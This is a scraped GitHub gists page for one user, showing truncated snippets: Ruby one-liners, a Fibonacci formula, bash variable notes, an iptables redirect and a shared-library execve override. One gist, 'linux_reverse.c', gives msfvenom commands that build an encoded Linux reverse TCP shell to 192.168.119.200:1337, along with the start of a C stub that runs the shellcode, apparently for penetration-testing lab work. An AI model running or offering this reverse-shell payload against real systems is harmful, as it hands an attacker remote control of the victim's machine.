Skip to content

Instantly share code, notes, and snippets.

Alex ellcs

Block or report user

Report or block ellcs

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View martini.sh
# gleiche zuweisung
var1=abc
var2="abc"
echo "$var1"
echo "$var2"
# string mit spaces
var3="abc def"
var4=abc\ def
@ellcs
ellcs / fibbonacci.rb
Created Apr 27, 2020
Fast fibbonacci
View fibbonacci.rb
# https://en.wikipedia.org/wiki/Fibonacci_number#Closed-form_expression
N = (1 + Math::sqrt(5)) / 2
M = (1 - Math::sqrt(5)) / 2
def fibb(n)
(N**n - M**n) / (N - M)
end
# https://en.wikipedia.org/wiki/Fibonacci_number#Matrix_form
@ellcs
ellcs / hacks.rb
Last active Apr 22, 2020
Helpful ruby oneliners
View hacks.rb
# create random groups of people
%w(james bob alice eve tux).shuffle.each_slice(2).to_a
# => [["bob", "eve"], ["alice", "tux"], ["james"]]
# assign random tools to people (tools can be empty)
people = %w(james bob alice eve tux)
tools = %w(hammer chainsaw screwdriver)
people.shuffle.zip(tools)
# => [["alice", "hammer"], ["james", "screwdriver"], ["tux", "chainsaw"], ["bob", nil], ["eve", nil]]
View yarv_check.rb
require 'contracts'
# https://ruby-doc.org/core-2.6/RubyVM/InstructionSequence.html
module B
def c; end
end
def global_method; end
class A
View iptables_cheat_sheet.sh
# redirect port to another port
sudo iptables -t nat -A OUTPUT -o lo -p tcp --dport 9000 -j REDIRECT --to-port 5000
@ellcs
ellcs / linux_reverse.c
Last active Mar 28, 2020
Execute bytearray in C
View linux_reverse.c
// You can just generate an elf file:
// $ msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.119.200 LPORT=1337 -f elf -e x86/shikata_ga_nai -o rev
// $ chmod u+x rev
// ./rev
// Or compile it on your own:
// $ gcc -z execstack linux_reverse.c
int main() {
// $ msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.119.200 LPORT=1337 -f c
// NOPs added by hand
@ellcs
ellcs / log.rb
Created Mar 20, 2020
ruby log with filename and line
View log.rb
def log(str); c = caller.first.split(":")[0..1].join(":"); puts "#{c} \"#{str}\""; emd
@ellcs
ellcs / all_exceptions.rb
Last active Mar 10, 2020
Complete ruby exception list
View all_exceptions.rb
# Public Domain
class Class
def descendants
ObjectSpace.each_object(Class).select { |klass| klass <= self }
end
def ancestor_class
ancestors[1..-1].find { |p| p.is_a?(Class) }
end
@ellcs
ellcs / execve_overload.c
Created Mar 9, 2020
Override method in compiled file
View execve_overload.c
// Step 1) gcc -fpic -shared -o execve.so execve_overload.c
#ifndef foo_h__
#define foo_h__
#include <stdio.h>
#include "stdlib.h"
int execve(const char *filename, char *const argv[], char *const envp[]) {
puts("Overwritten. Bye!");
exit(0);
View screenshot_i3.sh
#!/bin/bash
#
# Copyright (c) 2020 ellcs.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, version 3.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
You can’t perform that action at this time.